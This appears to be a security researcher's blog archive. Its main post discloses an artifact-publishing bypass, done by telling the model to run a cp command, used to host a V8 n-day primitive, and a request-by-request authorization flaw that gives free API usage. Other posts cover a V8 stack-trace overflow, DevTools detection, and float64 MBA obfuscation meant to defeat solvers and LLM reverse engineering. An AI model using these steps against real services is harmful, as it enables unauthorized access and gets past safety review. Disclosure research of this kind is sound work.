Archive
Hacking Anthropic For Free Unlimited Claude
Recently there has been a lot of talk about LLM’s hacking all kinds of things. It’s talked about so much it’s stopped being interesting to hear about. Half the articles I see read as PR stunts at this point.
With the increasing capabilities LLMs like Claude have began to offer, lots of people are uncertain about the future. Witnessing this uncertainty made me want to challenge myself.
Assuming Anthropic to be heavily architected, reviewed, and built by their very best models. I wanted to see if I could find flaws that their models missed.
Why Anthropic?
Anthropic, according to the exploitbench rankings, holds the title of “research-lab with the best models for hacking”.
These scores are generated by the models creating exploit chains targeting V8, the JavaScript engine that powers Chrome.
I can personally attest to the difficulty here. Having spent 2+ weeks learning browser-exploitation. I managed to perform control-flow hijacking in Discord’s Desktop Client, with its previously over 2-year-outdated bundled Chromium 138.
If Claude Mythos can do this alone at a cost of ~$2,700 to full chain, what hope does a human have of competing? Anthropic sets the prices, surely Mythos is running on a loop flagging and fixing all the internal security flaws?
Where humans thrive
Something I am sure many others have noticed. Large language models just aren’t very good at looking deep into the future. They are amazing at processing what is directly in front of them. Yet they don’t seem to possess a uniquely human ability to visualise the future.
Given a sufficient degree of separation from the goal, even the best LLMs collapse. This becomes more clear when these models are given tasks such as playing a game of chess.
It’s funny, but it’s also revealing. These models have come leaps and bounds from where they once were, and are now surprisingly good at long term reasoning. However, it isn’t anywhere near “inhuman”. The same model which can generate a full-chain V8 exploit in an afternoon is unable predict a 2-move sequence. With all the knowledge the model has on chess, it still doesn’t show true understanding and ability past an intermediate level.
This isn’t to say that these models aren’t incredibly intelligent. To suggest otherwise would be dishonest. It does however, reveal the gap where humans are still able to outclass these models in reasoning.
How does this apply to hacking?
Many people say hacking is just pattern recognition. This is true in large. Just like in chess to do either well requires a degree of creativity. Creativity that LLMs don’t seem to truly possess.
It’s likely true that certain classes of bugs are gradually going to be eliminated; V8 type confusions, buffer overflows, and similar well established patterns. But I would disagree with ideas such as:
Defenders finally have a chance to win, decisively.
Hyper-intelligent LLMs only change the landscape of hacking. Even if every browser exploit was fixed tomorrow. There are still intentionally open doors, e.g., launching applications via URI protocols. Just because your browser is now safe, doesn’t mean every application it can launch is. At the end of the day, does it matter to the person who was just compromised in 1-click if that 1-click was “by design”?
Anthropic’s surface is surprisingly complex
When planning how to attack Anthropic, I went into it with this exact mindset. I wanted to look at the gaps that are more difficult for a pattern recognition tool to recognise patterns in.
I started by pulling apart Claude Desktop. I already had a pretty cool Electron vulnerability going into this. This made the Electron-based Claude Desktop app seem like a reasonable target.
Note
Planning on posting about this Electron vulnerability soon. Just waiting on MSRC to fix a final stage of this. All together it makes a fun no-click chain.

After a bit of looking, I found that you could exploit this vulnerability in claude.ai artifacts. On reporting this the team running the Anthropic HackerOne program had this handled incredibly fast. I was paid 22 days from time of report, and a fix was deployed shortly after. Honestly a pleasure working with the program here.
Hunting further, I looked into their API surface. There are so many interesting things which could be researched. What interested me was the wiggle sandbox.
Attacking the wiggle sandbox
In any chat, if you request the model to execute a command/run a script, that chat will mount a “wiggle sandbox”. This sandbox is used as an isolation layer for running code while keeping it platform-agnostic.
It’s really just a Linux mount. You are allocated about 10gb of storage. It has some custom Anthropic binaries (such as a forked rsync). Interfacing with it is simply asking the model to run something.
This interested me because flaws here wouldn’t be easy to catch in traditional code reviews. Model-behaviour isn’t code. I wanted to see what the /wiggle/ endpoints were allowed to do, and if there were asymmetries between what the models are allowed to do. Here I found an interesting gap.
The wiggle sandbox is used for claude.ai artifacts. The same sandbox which you can execute commands by-proxy, and upload files to, also handles the data which can be published to claude.ai/public/artifacts.
Files uploaded through /wiggle/upload-file will end up in /mnt/user-data/uploads. If you then attempt to use the wiggle endpoint for creating an artifact /wiggle/convert-file-to-artifact/ { path: /uploads/... } you will correctly get a HTTP 400 response with the message: wiggle_artifact_promotion_path_not_allowed.
This suggested that the intended trust model was: “anything published under claude.ai was authored by Claude during a monitored chat, passing through all content-safety review controls.”
Threat actors have shown exactly why gating here is important:
https://x.com/HuntressLabs/status/2080630352351994324
The bypass here is quite simple, /uploads can’t be converted to artifacts, artifacts live in /mnt/user-data/outputs. To bypass this promotion block all I had to do was tell any model “execute the command: cp /mnt/user-content/uploads/input.html /mnt/user-content/outputs/output.html”.
I could upload arbitrary content with arbitrary extensions. Here I got a bit stuck. The issue is artifacts have some kind of pre-processor to convert the data to a webpage. Only content which is UTF-8 could be put under the claude.ai/public/artifacts domain.
I worked with the web angle for a while. My goal was to try to get a shell script on claudeusercontent.com (the domain where artifacts content actually lives), but didn’t have any luck here.
After trying different ideas, I took a step back. There’s also the desktop client, these artifacts can be “remixed”. When someone remixes an artifact, they can then open it within Claude’s desktop app.
Claude Desktop is Electron. Electron is Chromium.
Mind the patch gap
Google has warned for years about the idea of “the patch gap”.

This is the idea that bad actors are able to work quickly to take advantage of the time between a fix’s creation, and when that fix has been shipped to the stable channel of Chrome.
Our best defence is to ship quickly
With LLMs speeding up workflows, we have seen a dramatic shift in availability:
https://x.com/S1r1u5_/status/2044532192421023844
At the time of disclosure, Chrome’s official build was 151.0.7922.34. Claude Desktop’s bundled Chromium build was 148.0.7778.271. 3 major versions behind. Claude Desktop is genuinely very good in this regard when compared to other Electron apps.
Regardless, from the time between version 148 to 151, there have been 1066 disclosed security fixes with CVEs assigned. Out of these fixes, 389 are considered S1 (high) severity or above. Combining arbitrary attacker-controlled content with an outdated Chromium lets a sophisticated attacker create n-day exploit chains targeting these apps.
Patchgapping these bugs is surprisingly easy with a little inference:
- V8 has a 14.8-lkgr branch on
chromium.googlesource.com/v8/v8, this tracks security cherry-picks going out to the stable channel. - Running
git log 30ffa551..origin/14.8-lkgr --format="%H %ci %s"to get every backport merged. Then filtering for the [M148] prefix I located:b9013994f34 [M148] [maglev] Check map of inlined array in ArrayIteratorPrototypeNext git show b9013994f34on that commit prints:
Fixed: 523884658
Bug: 525280515,523884658
...
(cherry picked from commit 811ebc89d5d26653f73b9b0e589591e09344e551)
The Fixed: line is the Chromium bug tracker id. Any reasonably intelligent language model with the diff can then determine the underlying security vulnerability.
A browser exploit on claude.ai
Taking this exact Maglev bug to create an addrOf primitive. Attempting to publish this directly will run you into the expected blocks:

However, with the previously mentioned bypass:

Anyone who then remixed this crafted artifact, and opened it within the official desktop client would trigger this primitive on chat-load.
Note
Full chain browser exploits are hard to build. Even with this primitive. The bug here was chosen to demo impact. Alone this can’t do anything other than a caged read in the isolated child process where claudeusercontent.com lives. This would need to be chained with several more n-day exploits before there would be any practical danger.
Anthropic’s response
Anthropic gave a fair response here, they don’t consider this a security bypass precisely because /outputs can contain user-generated content. The blocks shown are considered model-side safeguards, not security controls. Their desktop environment is updated on a regular cadence, and the primitive demonstrated alone doesn’t cross the renderer sandbox or an application boundary.
That doesn’t change that the attack vector here exists. I am still very cautious of these Electron apps which can contain attacker-controlled content. However, I can understand the justification of this being acceptable risk.
Attacking the authorization layers (AuthZ)
Here I asked myself “What else might not be as audited?”. To which, the authorization layers stood out to me. In zero trust architectures, authorization decisions are continuously evaluated throughout a session.
It seems reasonable to assume that this would be a direct focus of LLM security capability testing, and would have been hardened significantly already. But having already gathered much of the API surface from my prior hunting. I became aware that Claude Code when multiple credentials are present, chooses one in this order:
- Cloud provider credentials.
- The
Authorization: Bearerheader which authenticates through bearer tokens rather than API keys. - The
X-Api-Keyheader. apiKeyHelperscript output.CLAUDE_CODE_OAUTH_TOKENenvironment variable.- Anthropic profile and federation credentials, the credentials that the
antCLI and Workload Identity Federation use. - Subscription OAuth credentials from standard user login.
With these 7 different documented authentication methods, it seemed like a great place to look for gaps. In sufficiently complicated APIs such as this, auth-related bugs can hide pretty easily.
Given correct context, an independent LLM could find most AuthZ bugs. But, it was still worth a focused hunt specifically because of this over-engineered design. My guess was soon-after rewarded.
Underneath the bridge
Making a POST request to /v1/code/sessions/{id}/bridge issues an ES256-signed sk-ant-si-* worker JWT to any signed-in claude.ai user. Regardless of capabilities. This means free-tier accounts with capabilities: ["chat"], can still successfully hit this endpoint. Session bridging is a feature designed for Claude Code to share sessions with Claude Desktop. According to the docs:
Claude Code requires a Pro, Max, Team, Enterprise, or Console account. The free Claude.ai plan does not include Claude Code access.
This endpoint missing any capability check is our first instance of CWE-863: Incorrect Authorization.
This behaviour required the account to have sent at least one message. On a completely fresh account, POST /v1/code/sessions/ returns invalid_request_error.
Broken plan-availability checks
The second instance of CWE-863 could be found when actually using the JWT.
When sending a POST to /v1/messages attempting to use the model claude-fable-5 from a free-tier account, you would get a 429 “This model is not available on your plan”. On a paid tier account you would use your claude.ai usage directly. This is a nice trick as is. You could use any desired harness with the generous claude.ai usage limits. The only caveat being the JWT had to be refreshed every 8 hours.

{
"$schema": "https://opencode.ai/config.json",
"model": "anthropic/claude-opus-5",
"small_model": "anthropic/claude-sonnet-5",
"provider": {
"anthropic": {
"options": {
"baseURL": "https://api.anthropic.com/v1",
"apiKey": "",
"headers": {
"Authorization": "Bearer sk-ant-si-..."
}
}
}
}
}
But after messing around with it a bit, turns out this JWT could do even better!
/v1/messages isn’t the only endpoint which can generate messages. There is also the message batches API: /v1/messages/batches. This endpoint is designed for large volumes of messages. Up to 100,000 requests per batch, but the processing is considered “low priority” so each request takes longer to fill.
The issue here, there is 0 plan gating on /v1/messages/batches… Any free-tier account can access every public model (sadly no mythos), paid or free no account is billed here! Unlimited free usage of all Anthropic’s frontier models. Fun! :)
Request flow
A higher-level view of the flow follows as such:
- The session gets created.
POST https://claude.ai/v1/code/sessions
Headers: Cookie: sessionKey=...
Body: {"title": "poc", "bridge": {}, "config": {}}
Response: { "session": { "id": "<SESSION_ID>" } }
- The created session is bridged which returns a JWT.
POST https://claude.ai/v1/code/sessions/<SESSION_ID>/bridge
Headers: Cookie: sessionKey=...
Body: {}
Response: { "worker_jwt": "<JWT>" }
- This JWT is now directly usable on the
/v1/messages/batchesendpoint.
POST https://api.anthropic.com/v1/messages/batches
Headers: Authorization: Bearer <JWT>
Body: {
"requests": [
{
"custom_id": "p<timestamp>",
"params": {
"model": "claude-opus-4-8",
"max_tokens": 512,
"messages": [
{ "role": "user", "content": "<USER_PROMPT>" }
]
}
}
]
}
Response: { "id": "<BATCH_ID>", ... }
- The batch id is requested in a loop until completion.
GET https://api.anthropic.com/v1/messages/batches/<BATCH_ID>
Headers: Authorization: Bearer <JWT>
Response: { "processing_status": "ended", "results_url": "<RESULTS_URL>", ... }
- Upon completion the message contents available.
GET <RESULTS_URL>
Headers: Authorization: Bearer <JWT>
Response: { "result": { "message": { "content": [...], "usage": { "output_tokens": <N> } } } }
This entire flow contains no model restriction, nor does it affect plan usage limits.
Note
Since September this issue has been quietly resolved without feedback. However, there exists several related issues which a proper retest would have caught.
Anthropic’s Response
My prior experiences with the team were great. When they agreed that a security boundary was violated, they handled it swiftly and effectively:

When they disagreed that a security boundary was being violated, they provided clear reasoning why, addressing each of my points with clear and thoughtful responses.
That made the final response here a bit disappointing:

Platform abuse is traditionally used to refer to abuse such as using a service’s trusted domain for phishing/malware delivery. I was unable to find another fitting example, where chaining unintended defects in authorization logic was classified as anything other than vulnerability exploitation.
When requesting review here. I didn’t get a human response. Just a generated reply:

I also emailed usersafety@anthropic.com, but have yet to receive a response.
Timeline
- Reported to vendor
Initial disclosure is submitted to Anthropic via HackerOne.
- Vendor response
Anthropic replies and closes the report as Informational.
- Review requested
Clarification on the closure requested.
- Vendor response
claudesec-h1bot acting on behalf of Anthropic confirms the scoping. - Reported to vendor
Per Anthropic’s request, a follow up email is sent to usersafety@anthropic.com.
- Follow-up email sent
I express wish to publicise in line with 90-day responsible disclosure practices.
- Public disclosure request
Permission to disclose is requested via each HackerOne report.
- Public disclosure granted
claudesec-h1bot acting on behalf of Anthropic confirms each issue is free to be discussed. - Batches issue fixed
Despite being told this issue was out of scope. Some time in September, a product change resulted in the batches endpoint rejecting worker tokens.
- Full disclosure
90-day window expires, blog post is published without any fix.
Conclusion
While the outcome of that last report did kill a lot of my motivation to keep hunting issues on Anthropic. It was still very fun to research. Despite not really achieving my goal (past the Electron vuln) in the eyes of Anthropic. I think I succeeded in my original “find some real issues in a highly LLM audited surface”.
These APIs are being designed with the assistance of the very best models, and scrutinized heavily afterward. Yet there are still real architectural flaws. There is a requirement for a human-touch in a lot of these places. The more complex they grow, the more auditing required. LLM-assisted development is ensuring that complexity will trend upwards.
Additional Findings
One interesting note I discovered on 2026-08-17. The aforementioned gating which exists on /v1/messages/ can also be bypassed.
Having decided to switch to OpenAI as my tool of choice. I stopped paying for 20x Max on Anthropic. When the next billing cycle came around on the now-frozen VCC. The subscription got “paused”. Seeing this piqued my curiosity, so I decided to test this again.
Sure enough, the paused account can access /v1/messages/, use all models (now for free), all without the low-priority slowdown that came with /v1/messages/batches.

As Anthropic has made it clear that they do not scope these vulnerabilities, I have opted not to report this formally due to this.
The lack of any real response has indicated that this additional information is highly unlikely to change their previous conclusion.
Forging Stack Traces With An Unchecked Integer Overflow
Recently, I was playing around with devtools again. Specifically, I was looking into differential fuzzing with behaviour when CDP is attached.
I figured this was an interesting place to look, since it’s not as straightforward to fuzz behaviour dependent on different states. That, and I just like messing with devtools.
After modifying a fuzzing framework, I took identical generated programs with Runtime.enable and without. I got some interesting results. One was an Error stack limit behaviour, which seemed to be an oversight.
What is CDP Runtime domain?
Chrome DevTools Protocol has different commands to gate specific behaviour, one of these is Runtime.enable. This is the command that activates the Runtime domain for a target (wow). Letting clients like DevTools evaluate JavaScript, inspect objects, receive console messages, and whatever else you can do with the normal runtime.
It’s an interesting place to try to find weirdness. It’s frequently used in automation, so side effects can become detection vectors.
Enabling this also activates detailed stack capture on Error construction. I’d previously found a devtools detection signal nearby. Runtime.enable changes ErrorEvent locations from the throw site to the Error construction site (poc here). When I saw a reported overflow adjacent to that, I got very interested.
An overflow in the stack trace limit
For the Error class, if you set the stackTraceLimit to a huge number:
Error.stackTraceLimit = 858_993_461;
You might expect that this will keep every available frame. Normally, this will be the case. But, if Runtime.enable was sent before the Error was created, V8 will reduce the page-visible stack to exactly one frame.
Without Runtime.enable:
Error
at Object.verifyChallenge (output.js:8:12)
at actualCallerBelowDecoy (output.js:21:22)
at output.js:25:13
With Runtime.enable:
Error
at Object.verifyChallenge (output.js:8:12)
Why does the overflow happen?
This is down to an overflow from Isolate::CaptureAndSetErrorStack:
stack_trace = GetDetailedStackTraceFromCallSiteInfos(
this, raw_data_for_call_site_infos,
static_cast<uint32_t>(
stack_trace_for_uncaught_exceptions_frame_limit_));
if (static_cast<uint32_t>(stack_trace_limit) *
CallSiteInfo::Fields::kCount <
raw_data_for_call_site_infos->ulength().value()) {
call_site_infos_or_formatted_stack = FixedArray::RightTrimOrEmpty(
this, raw_data_for_call_site_infos,
stack_trace_limit * CallSiteInfo::Fields::kCount);
}
V8 stores five raw fields per frame:
enum Fields {
kCode = 0,
kReceiver,
kFunction,
kOffset,
kFlags,
kCount
};
This is defined in call-site-info.h.
The frame limit is multiplied by five before the raw FixedArray is trimmed. That multiplication wraps at 32 bits:
858,993,461 * 5 = 4,294,967,305
4,294,967,305 mod 2^32 = 9
The huge frame limit becomes a raw array length of nine fields.
Error.stackTraceLimit | Product (mod 2^32) | Visible frames |
|---|---|---|
| 858,993,459 | 4,294,967,295 | not triggered |
| 858,993,460 | 4 | 0 |
| 858,993,461 | 9 | 1 |
| 858,993,462 | 14 | 2 |
| 858,993,463 | 19 | 3 |
The 858,993,459 row’s product is UINT32_MAX, so the guard product < raw_data.length cannot fire for any realistic stack.
Shipping Chromium builds use wrapping overflow semantics through -fno-strict-overflow (compiler configuration). UBSan builds may still have issues.
Why does it only keep a prefix?
Nine fields contain one complete CallSite and four fields from the next one. Isolate::GetSimpleStackTrace calculates the frame count like this:
int frame_count =
raw_data->ulength().value() / CallSiteInfo::Fields::kCount;
9 / 5 is one. FixedArray::RightTrimOrEmpty trims from the right, so the remaining frames are always the start of the real stack. As it doesn’t move or splice records this cannot be used to create arbitrary frames. But you can directly control how many frames are exposed.
Building on this
Function.name is configurable. Renaming a function without matching its receiver property exposes the alias:
Object.declaredDecoyName [as actualLeaf]
Matching both removes it:
Object.verifyChallenge
The page controls its name, removes the helper with Error.captureStackTrace, and relies on Runtime attachment to remove the caller context.
Spoofing stack traces
function hiddenCapture() {
const target = {};
Error.captureStackTrace(target, hiddenCapture);
return target;
}
function realImplementation() {
return hiddenCapture();
}
Object.defineProperty(realImplementation, "name", {
value: "verifyChallenge",
configurable: true,
});
const challenge = {
verifyChallenge: realImplementation,
};
function run() {
return challenge.verifyChallenge();
}
Error.stackTraceLimit = 858_993_461;
console.log(run().stack);
Error.captureStackTrace(target, hiddenCapture) removes the capture helper. The function name and receiver property are both verifyChallenge, so the first real frame is formatted as Object.verifyChallenge. The overflow then removes the callers beneath it.
Detecting DevTools
This can also be used to detect devtools. By comparing the stack trace limit to the number of available frames, we can detect when the overflow has occurred.
function leaf() {
return new Error();
}
function caller() {
return leaf();
}
Error.stackTraceLimit = 858_993_461;
const frames = caller().stack.split("\n").length - 1;
const runtimeAttached = frames === 1;
At the time of writing, V8’s raw field layout has 5 fields per frame, so without the overflow the length will be 3, and with it the length will be 1. Any change to that field count shifts the wrap values.
Chromium Fix
V8 should compare frame counts before converting back to raw fields:
const uint32_t fields_per_frame = CallSiteInfo::Fields::kCount;
const uint32_t available_frames =
raw_data_for_call_site_infos->ulength().value() / fields_per_frame;
const uint32_t requested_frames =
static_cast<uint32_t>(stack_trace_limit);
if (requested_frames < available_frames) {
call_site_infos_or_formatted_stack = FixedArray::RightTrimOrEmpty(
this, raw_data_for_call_site_infos,
requested_frames * fields_per_frame);
}
Checked multiplication would also fix it. Comparing frames first matches what the code is trying to do and prevents partial records.
Note
I discovered after writing this, V8 commit 786c1c2d landed with a fix for this issue. Only on V8 main at the time of writing; the regression is present on V8 branch-heads 14.8 through 15.5, so shipping Chrome stable and beta are still affected until the merge lands.
Refs: crbug/565047704, nodejs/node#66074.
Better Mixed Boolean Arithmetic in JavaScript
Mixed boolean arithmetic (MBA) is great for obfuscation. It’s hard to read, obscures algorithms very well, and for years it really had no good solution.
In recent years, tooling such as CoBRA building on the long-established Z3 Theorem Prover have helped mitigate this challenge greatly.
In JavaScript, one of the hard parts is mapping your expression to a tool like CoBRA before you can simplify the expression and understand the algorithm its obfuscating.
Sadly, in the world of JavaScript obfuscation this hasn’t been done that well. Any obfuscators & antibots that choose to incorporate MBA do so sparingly and in a way which is trivially undone.
JavaScript MBA is powerful
I’m going to make an argument for why MBA is incredibly interesting (and arguably better) in the world of JavaScript obfuscation despite having barely been touched.
All MBA I have seen in-the-wild mirrors the patterns used in binary-obfuscation. However, JavaScript is weird. We can use this weirdness to great effect.
Numbers in JavaScript are floats until they’re not
Internally the number datatype in JavaScript is actually a float64. This is the IEEE 754 double-precision format. In this, it packs a number into 64 bits split across 3 fields:

- The first bit is allocated to the sign. This is used to represent if the number is positive or negative.
- The next 11 bits are the exponent bits (scale: a power of 2): 1026 = 1023 + 3 - multiply by 2^3 (the 1023 is the fixed “bias”).
- The final bits are the precision bits. This is known as the Mantissa, this contains the significant digits.
You may already be well versed with this. It’s a frequently asked question: “Why cant computers get floating point arithmetic right?” and the internal structure of the float64 representation is widely understood.
One interesting thing you may not know though. When you do any bitwise operation (excluding >>>) on a float64 in JavaScript, internally gets recast into int32.
That means that if we do:
const x = 2;
const y = 5;
console.log(x ^ y);
The JavaScript runtime is defining the x and y values as float64 and then re-casting them as int32 before it XORs them both, the result is then returned back as a float64.
How can this be abused?
MBA solvers (and humans) make the reasonable assumption that the program they are analysing will only contain numbers which are going to have a static bitwidth.
However, as JavaScript has this implicit coercion, we can generate expressions which have fluctuating bitwidths “invisibly”. This means we can create expressions which when passed to a solver like CoBRA will produce totally incorrect simplifications compared to their true value in the JavaScript runtime.
2^53: The Max Safe Integer
A float64 can store every integer up to 2^53 (Number.MAX_SAFE_INTEGER is 2^53 - 1). Past that the mantissa runs out of bits, so the representable integers start to spread apart: between 2^53 and 2^54 only even numbers exist, between 2^62 and 2^63 the gap between neighbours (the ULP) is 1024, and so on. If you add a small number to a large one up there and the result just rounds to the nearest representable value, and the low bits drop off the end.
A solver like CoBRA (reasonably) doesnt model this. It reasons integers are fixed-width; modulo 2^n, where (M + a) - M is always going to be a, no matter how big M is. As a result we can abuse this.
Variants
Here are 2 simple variants I have constructed:
- Runtime evaluates to
x & 255,CoBRAsimplifies toy & 255:
(x & 0xff) + ((0x9E3779B1 * 0x85EBCA77 + (y & 0xff)) - 0x9E3779B1 * 0x85EBCA77) - ((0x9E3779B1 * 0x85EBCA77 + (x & 0xff)) - 0x9E3779B1 * 0x85EBCA77)
- Runtime evaluates to
x & 255,CoBRAsimplifies to0
(x & 0xff) - ((0x9E3779B1 * 0x85EBCA77 + (x & 0xff)) - 0x9E3779B1 * 0x85EBCA77)
Lets explore #1.
A “ghost” term
const g = (M, a) => (M + a) - M;
To CoBRA and to anyone reading it as plain integer math g(M, a) is just a; the Ms cancel. But if M is far enough past 2^53, the addition M + a rounds straight back to M, and JavaScript hands you back 0, for example:
const M = 6e18;
g(M, 123);
This would result in 0 in JavaScript. So g is a ghost 👻: it equals a in every model a solver knows about, and 0 at runtime. We now have a term we can make appear or disappear depending on who’s looking at it.
Hiding the constants
const M = 0x9E3779B1 * 0x85EBCA77;
0x9E3779B1 is xxHash’s PRIME32_1 and 0x85EBCA77 is xxHashes PRIME32_2.
I picked these as there are many applications where these values could be re-used to add to confusion while contributing to your MBA.
Their product is 5964046043053701959. JavaScript numbers can’t represent this, evaluating to 5964046043053702000.
The deception
We want an expression that is x & 0xff at runtime but y & 0xff to the solver. Use one ghost to smuggle in y and another to delete x:
function f(x, y) {
const M = 0x9E3779B1 * 0x85EBCA77; // ~2^62.4
return (x & 0xff) +
((M + (y & 0xff)) - M) - // a = (y & 0xff)
((M + (x & 0xff)) - M); // a = (x & 0xff)
}
- In V8: every
(M + a) - Mrounds away to0, sofreturns(x & 0xff) + 0 - 0=x & 0xff. - To a solver: every
(M + a) - Misa, sofreturns(x & 0xff) + (y & 0xff) - (x & 0xff)=y & 0xff.
Hand the expression to CoBRA:
$ cobra-cli --mba "(x & 0xff) + ((0x9E3779B1 * 0x85EBCA77 + (y & 0xff)) - 0x9E3779B1 * 0x85EBCA77) - ((0x9E3779B1 * 0x85EBCA77 + (x & 0xff)) - 0x9E3779B1 * 0x85EBCA77)" --verbose
Variables: x, y
Classification: kSemilinear
Flags: bitwise, arithmetic, arith-over-bitwise
Evaluating signature vector...
Signature vector (2 vars): [0, 0, 1, 1]
Simplifying...
Running spot-check... passed
Verifying full-width equivalence... passed
y & 255
It returns that the masked byte comes from y. We know at runtime it comes from x. f really is y & 255 as a fixed-width integer expression, and its check confirms that. The answer is right for it’s own integer model, there’s correctly no float64 anywhere in that pipeline, so nothing in it can see that V8 does the + and * in float64 and never reaches y.
Tell the solver it’s bitwidth?
This doesnt help. (M + a) - M is a in every modular ring 2^n, so the solver prints y & 255 at anything. Our runtime’s x & 255 isn’t reachable at any width, because V8 isn’t doing modular arithmetic. A JavaScript expression doesn’t have a bitwidth: arithmetic runs ~53-bit-exact-then-floats, bitwise ops are exactly 32, and they alternate. Any single modulus a solver commits to, it’s wrong in one of the two phases.
An int32 past 2^53 comes back one of three ways:
- exact: float64 didn’t round, so there’s no divergence to exploit.
- corrupted: it rounded, so it’s now wrong for some input and your function is broken.
- destroyed: it was below the local ULP, so it rounded to
0(we use this in our “ghost” case).
Do a float64-aware pass first?
With our specific example the divergence we used is only (M + a) - M. Any deobfuscator that recognises the shape a constant M whose ULP/2 exceeds the range of a and rewrites it to 0 strips the ghost in a few lines. However, this doesnt need to be the only representation, that’s part of what MBA is.
Practical attacks
The attacker must be first aware this is even possible. When adversarially testing using Claude Opus 4.8, given a hardened implementation of a loop-unrolled RC4 PRGA implementation with the KSA array constants embedded, generated at request-time. The agent took a combined 3 hours (with slight redirection) to correctly dump the KSA array over 10/10 requests using Python. It’s interesting to observe how unqiue techniques slow-down LLMs when tasked with less-common reverse engineering goals.
1. Z3 with proper mapping
If youre willing to take a on average a ~2126.8% slowdown compared to CoBRA, Z3 has full IEEE-754 theory and can model this if you encode float + ToInt32 at the bitwise boundary.
2. Building a state machine
Another approach could be building a state-machine which at runtime resolves the data/algorithm obfuscated via this technique. Features such as SWC’s JsNumber could make this a bit easier.
3. Sandboxing
Easiest approach attack-wise, but also the worst, if a defender cannot prevent someone determined enough to solve their challenge (which you never can), this is really what they want to force an attacker to do. If an antibot can “encourage” this, attack volume has been mitigated significatnly.
Other interesting notes
Z3 can be “attacked” without any float64 tricks
Z3 is incredibly expensive on dense linear MBA. It cannot prove equivalence for either of the following cases in 5 minutes at 64-bit. CoBRA would give the answer in ~10ms:
11*~(x&~y) - 9*~(x|y) + 2*(x&~y)which is just9*y - 2-8*~y*(x&y) - 8*~y*(x&~y) + 10*~y*x + 3*~y*~(x|y) + 8*(x^y)*(x&y) + 8*(x^y)*(x&~y) - 10*(x^y)*x - 3*(x^y)*~(x|y) - 3*~y*(x|~y) - 1*~y*~x + 3*(x^y)*(x|~y) + 1*(x^y)*~xwhich is~y - (x^y)
Create difficult static expressions
In the case where its necessary for an attacker to have opaque predicates resolved at runtime. This technique could likely be used to break dead code elimination (DCE) by both; improperly having important functionality removed, and/or making DCE exceptionally difficult. It could also be speculated that this could effectively be used to flood the context window of LLM-assisted reverse engineering attempts.
Smuggling coefficients through the float64 multiply
You can achieve a similar goal by smuggling a coefficient:
((F1*F2|0)+OFF) * basis
This will “fool” CoBRA in the exact same way but the divergence is a constant subexpression, so a float64 const-folder evaluates it away. This could be hardened by better-deriving these subexpressions.
JavaScript’s coercion is highly effective
Take for example the expression: a | b = (a ^ b) + (a & b)XOR holds the differing bits, AND holds the common bits, and they’re bit-disjoint so + reconstructs OR.
You could just gate the carry term with x: (a ^ b) + x * (a & b)
x = 0: (a ^ b) + 0 = XORx = 1: (a ^ b) + (a & b) = OR (the + is exact because the two terms touch disjoint bits) Virtually all datatypes in JavaScript are coercible, it’s ugly and beautiful. Soundefinedwhen used in an expression such as this, can be used to gate an expression. Empty array accesses can be used to representundefined. This can create some cool logic:
const G = []; // Each expression is identical but produces divergent results:
console.log((()=>(G[0]^G[1])+(G[3]|(G[3]=1,0))*(G[0]&G[1]))(G[0]=0x78,G[1]=0xff).toString(16)); // "87" - XOR
console.log((()=>(G[0]^G[1])+(G[3]|(G[3]=1,0))*(G[0]&G[1]))(G[0]=0x78,G[1]=0xff).toString(16)); // "ff" - OR
Detecting DevTools via WebAssembly Overhead Asymmetry
Most DevTools detections rely on the same techniques:
console.logside-effectsdebuggertimingErrorbehaviour
These are fairly documented, easily mitigated, and these patterns are widely recognised by reverse engineers.
This post describes a different approach. By exploiting an asymmetry between WebAssembly.Module() and WebAssembly.validate() inside V8, we can detect whether the Chrome DevTools inspector is attached using a signal that is structural to V8’s architecture.
My Initial Observation
While building a proof-of-work system that used WebAssembly for hash computation, I noticed a consistent performance degradation when DevTools were open.
I could have left this alone, but I have been collecting novel detections for a while, and I did think there was likely a new and interesting detection vector hiding here.
My initial theory was this was something related to DWARF. Maybe some debug information was being injected into the WASM pipeline when DevTools were attached?
After pulling up the chromium source I went hunting. Which is where I found this fairly interesting detection vector. V8 fires a synchronous chain of inspector callbacks on every WASM module compilation with no overhead when no inspector is connected.
How can this be abused?
WebAssembly.validate(bytes) and new WebAssembly.Module(bytes) both accept the same WASM bytecode, decoding and validating the module structure. But their implementation differences can be leveraged to flag devtools in a pretty sneaky way.
validate(): WASM Validation
WebAssembly.validate() enters V8 through WebAssemblyValidateImpl which calls WasmEngine::SyncValidate():
// v8/src/wasm/wasm-engine.cc
bool WasmEngine::SyncValidate(Isolate* isolate, WasmEnabledFeatures enabled,
CompileTimeImports compile_imports,
base::Vector<const uint8_t> bytes) {
TRACE_EVENT0("v8.wasm", "wasm.SyncValidate");
if (bytes.empty()) return false;
WasmDetectedFeatures unused_detected_features;
auto result =
DecodeWasmModule(isolate, enabled, bytes, true, kWasmOrigin,
DecodingMethod::kSync, &unused_detected_features);
if (result.failed()) return false;
WasmError error = ValidateAndSetBuiltinImports(
result.value().get(), bytes, compile_imports, &unused_detected_features);
return !error.has_error();
}
It calls DecodeWasmModule() to parse and validate the structure, checks import compatibility, then returns a boolean. The cost of validate() is constant regardless of DevTools being attached.
Module(): Compilation + Debug Hooks
new WebAssembly.Module() enters through WebAssemblyModuleImpl which calls WasmEngine::SyncCompile(). This function performs the same DecodeWasmModule() and ValidateAndSetBuiltinImports() calls, but then continues:
// v8/src/wasm/wasm-engine.cc - SyncCompile()
std::shared_ptr<NativeModule> native_module = CompileToNativeModule(
isolate, enabled_features, detected_features, std::move(compile_imports),
thrower, std::move(module), std::move(bytes), compilation_id, context_id,
pgo_info.get());
DirectHandle<Script> script =
GetOrCreateScript(isolate, native_module, kNoSourceUrl);
native_module->LogWasmCodes(isolate, *script);
isolate->debug()->OnAfterCompile(script);
CompileToNativeModule() compiles the module to native code or retrieves it from V8’s engine-wide NativeModule cache. When you compile the same bytes repeatedly, MaybeGetNativeModule() returns the cached result with no recompilation. GetOrCreateScript() caches Script handles per NativeModule. For repeated compilations of identical bytes, these are virtually free cache lookups.
LogWasmCodes() and OnAfterCompile() on the other hand, execute every time. These are the two calls that behave differently when DevTools is attached.
OnAfterCompile() delegation
OnAfterCompile() delegates to Debug::ProcessCompileEvent():
// v8/src/debug/debug.cc
void Debug::ProcessCompileEvent(bool has_compile_error,
DirectHandle<Script> script) {
RCS_SCOPE(isolate_, RuntimeCallCounterId::kDebugger);
if (script->id() == Script::kTemporaryScriptId) return;
if (running_live_edit_) return;
script->set_context_data(isolate_->native_context()->debug_context_id());
if (ignore_events()) return;
if (!script->IsSubjectToDebugging()) return;
if (!debug_delegate_) return;
